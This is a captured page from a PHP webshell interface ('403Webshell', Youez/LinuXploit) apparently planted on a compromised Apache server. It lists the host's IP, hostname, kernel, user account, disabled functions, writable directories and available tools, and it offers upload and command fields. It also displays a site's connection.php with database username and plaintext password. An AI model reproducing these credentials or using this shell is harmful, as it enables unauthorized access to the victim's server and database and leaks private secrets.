403Webshell
Server IP : 41.204.160.15  /  Your IP : 13.58.6.202
Web Server : Apache
System : Linux cp-uon.kenet.or.ke 3.10.0-1160.118.1.el7.x86_64 #1 SMP Wed Apr 24 16:01:50 UTC 2024 x86_64
User : karumottiac ( 1102)
PHP Version : 8.1.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/karumottiac/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karumottiac/public_html//connection.php
<?php
$servername = "localhost";
$username = "karumottiac_karumottiac";
$password = "jJBdzS5yA2GuP4X";
$dbname = "karumottiac_karumo-web";

// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);

// Check connection
if ($conn->connect_error) {
  die("Connection failed: " . $conn->connect_error);
}

// $sql = "INSERT INTO posts (title, category, description)
// VALUES ($postTitle, $postCategory, $postDescription)";

// if ($conn->query($sql) === TRUE) {
//   echo "New record created successfully";
// } else {
//   echo "Error: " . $sql . "<br>" . $conn->error;
// }

$conn->close();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit